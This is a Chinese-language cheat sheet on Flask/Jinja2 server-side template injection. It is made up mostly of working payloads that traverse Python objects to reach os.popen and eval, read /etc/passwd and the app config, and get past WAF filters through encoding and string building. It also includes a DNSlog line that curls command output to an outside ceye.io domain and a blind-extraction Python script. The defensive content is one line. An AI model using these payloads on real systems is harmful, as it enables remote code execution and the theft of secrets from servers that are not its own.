flask-ssti笔记

Flask SSTI

简介

Flask SSTI,即模板注入,旨在利用相关模板引擎的特点,通过沙箱逃逸等技术进行攻击服务,获取隐私信息。

信息收集

判断模板引擎类型

测试流程

其中,Jinja2 的回显是 7777777

Twig 回显是 49

config

config 是 Flask 内置的变量, 是一个字典,用于保存 Flask 所需的一些配置,其中最重要的是 SECRET_KEY

request

request 是 Flask 内置的变量,是一个对象,包含所请求的信息体,包括可以尝试访问 request.environ,可以获取当前运行时的环境字典。

在攻击中主要用于当中间人。

Python 内置方法、属性

object

object 是所有 Python 对象(包括内置对象)的父类,可以通过 object 为中间变量来寻找我们想要的东西。

所拥有的内置方法和属性如下表,其子类也同样拥有

名字 功能
mro() 获取该类的 MRO,即基类列表
__annotations__ 注解
__base__ 对象的基类
__bases__ 对象的基类元组
__class__ 对象的类(类的类是元类)
__dict__ 对象的属性,以字典形式返回
__doc__ 对象的文档字符串
__name__ 对象的名称(包括命名空间)
__mro__ mro()
__subclasses__() 获取所有子类的弱引用列表
__init__ 类的构造函数,对于有实例的对象它将是一个(function/method)变量,可以做中间人
__globals__ 获取对象所在作用域的所有全局变量字典,不是所有的对象都有的,一般利用方式为 __init__.__globals__
__getattribute__() 类比 getattr(),可以获取对象的属性
__getitem__() 类比 [],获取字典键值

__builtins__

__builtins__ 是一个包含了所有 Python 内置构建属性的模块(import builtins),可以通过它为中间人来间接调用其他方法。

例如 __builtins__.eval

debug 模式

本地调试程序,测试攻击链的时候,可以在代码中添加

1
2
3
app.deubg = True
# 或者
app.run(debug=True)

这样调试模式下,修改 Python 代码时将自动修改程序,而不需要关闭服务。

waf 绕过

过滤器绕过

过滤器是模板引擎提供的一个语法糖,类似 bash 的操作,使用管道符连接不同的过滤器,链式完成一些功能。

在下文中,注释内容表示无法通过 waf 的原代码,非注释内容表示可能的用于绕过 waf 的代码。

[]

[] 提供另一种属性获取方式

1
2
# ().__class__
()['__class__']
attr

attr 用于动态获取变量,类似 Python 中的 attr 函数,可以用于绕过 .

1
2
# "".__class__"
""|attr("__class__")
format

类似 Python 中 str.format 函数,用于作格式化字符串。

1
2
# __class__
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)
first/last/random

获取元组或列表的第一位、最后一位、随机位

1
2
3
4
5
# "".__class__.__mro__[0]
"".__class__.__mro__|first
# "".__class__.__mro__[-1]
"".__class__.__mro__|last
"".__class__.__mro__|random
join

拼接字符串,可以传入元组、列表。

1
2
3
# ""["__class__"]
""[['__clas','s__']|join]
""[('__clas','s__')|join]
lower/upper

大写字符串转小写字符串;小写字符串转大写字符串。

1
2
# ""["__class__"]
""["__CLASS__"|lower]
replace/reverse

替换字符串;反转字符串。

1
2
3
# ""["__class__"]
""["__claee__"|replace("e","s")]
""["__ssalc__"|reverse]
string

类似 Python 的 str 函数,可以将本不是字符串的类型转化为字符串,这样我们可以取字符构造 payload

1
2
# <
(().__class__|string)[0]
select/unique

可以转化为迭代器对象,一般用于构造文字

1
2
3
4
# <generator object select_or_reject at 0x0000013163CDC2E0>
()|select|string
# _
()|select|string[24]
其他

除此之外还有很多过滤器,需要根据实际情况来取方便构造的。

  • default()
  • escape()
  • first()
  • last()
  • length()
  • random()
  • safe()
  • trim()
  • max()
  • min()
  • unique()
  • striptags()
  • urlize()
  • wordcount()
  • tojson()
  • truncate()

payload

绕过.
1
2
3
# ().__class__
()['__class__']
()|attr("__class__")
绕过引号

可以使用 request,通过获取参数的方式绕过输入引号。

例如 GET 方法传参、POST 方法传参、Cookie 传参。

1
2
3
4
5
6
# GET
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
# POST: arg1=open&arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
# Cookie: arg1=open;arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}

利用 chr 绕过字符串输入,但是首先得先找到 chr 函数。

1
2
3
# {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
# 使用chr和%2b(+)拼接字符串代替直接使用字符串
{%set chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__[chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
过滤()

执行函数必须使用小括号,无法绕过,只能查看CONFIG。

过滤_

十六进制编码、unicode 编码绕过

1
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[133]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}

全字符串替换脚本

1
2
3
payload = b'__class__'
result = ''.join(f'\\x{i:02x}' for i in payload)
print(result)

特殊情况下可以尝试 base64 绕过(似乎不是 Jinja2)

1
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

半角全角替换脚本

1
2
3
4
payload = b"__class__"
result = ''.join(chr(i+0xfee0) if 33 < i < 127 else chr(i) for i in payload)
# result = result.replace(' ', '\u3000')
print(result)
关键字过滤

大小写混写

1
()['__ClAss__'|lower]

拼接字符串

1
2
3
{{()['__cla'+'ss__'].__bases__[0]}}
{{()['__cla''ss__'].__bases__[0]}}
{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}

格式化字符串

1
{{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l

过滤了 __init__ 函数,可以考虑用 __enter____exit__ 函数替代。

过滤了 config,可以考虑通过其他方式获取

1
2
3
4
5
6
7
# <TemplateReference None>
self
# 同样可以获取全局上下文
self.__dict__._TemplateReference__context
self.__dict__._TemplateReference__context.config
url_for.__globals__['current_app'].config
get_flashed_messages.__globals__['current_app'].config
过滤[]

如果是需要索引,可以使用 pop()__getitem__() 代替

1
2
3
().__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.popen('whoami').read()

().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()

如果是获取对象无法使用 [] 绕过,考虑使用 __getattribute__

1
"".__getattribute__("__cla"+"ss__").__base__

最好使用 request 绕过

1
2
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(133).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
过滤{}

用控制语句 {%%} 代替,可以在 {%%} 内嵌套函数或是条件语句、循环语句等,一般会使用 {%print(qsdz)%}

print 标记

1
{%print ().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}
dnslog 外带数据

利用 http://ceye.io/ 实时监控 dnslog,实现巧妙的盲注。

ceye.io 注册后会给予二级域名,https://betheme.net/a/2493006.html

1
{% if lipsum.__globals__['os'].popen('curl `whoami`.qureyl.ceye.io')%}1{%endif%}

但是需要注意特殊字符无法直接回显,可以考虑进行 base64 加密。

过滤数字

直接通过循环查找能利用的类

1
{% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %}

或者使用 lipsum 基本都是字典或对象

1
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}

或者还可以构造数字进行拼接

1
2
3
4
5
6
7
8
9
10
11
12
{%set zero=([]|string|list).index('[')%}
{%set one=dict(a=a)|join|count%}
{%set two=dict(aa=a)|join|count%}
{%set three=dict(aaa=a)|join|count%}
{%set four=dict(aaaa=a)|join|count%}
{%set five=dict(aaaaa=a)|join|count%}
{%set six=dict(aaaaaa=a)|join|count%}
{%set seven=dict(aaaaaaa=a)|join|count%}
{%set eight=dict(aaaaaaaa=a)|join|count%}
{%set nine=dict(aaaaaaaaa=a)|join|count%}
# 258
{% set erwuba=(two~five~eight)|int %}
盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://127.0.0.1:5000/?name='

def check(payload):
r = requests.get(url+payload).content
return 'kawhi' in r

password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in xrange(0,100):
for c in s:
payload = '{% if ().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.open("/flag").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}kawhi{% endif %}'
if check(payload):
password += c
break
print password
env
1
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('env').read()}}
popen
1
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
subprocess.Popen
1
{{"".__class__.__base__.__subclasses__()[485]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
__import__('os')
1
{{"".__class__.__base__.__subclasses__()[80].__init__.__globals__.__import__('os').popen('whoami').read()}}
__builtins__代码执行
1
2
3
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
request
1
2
{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
{{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}
url_for
1
2
{{url_for.__globals__['current_app'].config}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
get_flashed_messages
1
2
{{get_flashed_messages.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
lipsum

lipsum 是 Flask 用来测试用的函数,其中 lipsum.__globals__ 自带 os 模块。

1
2
3
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

fix

终极式

没有模板就没有注入,只要我们把模板代码去掉即可。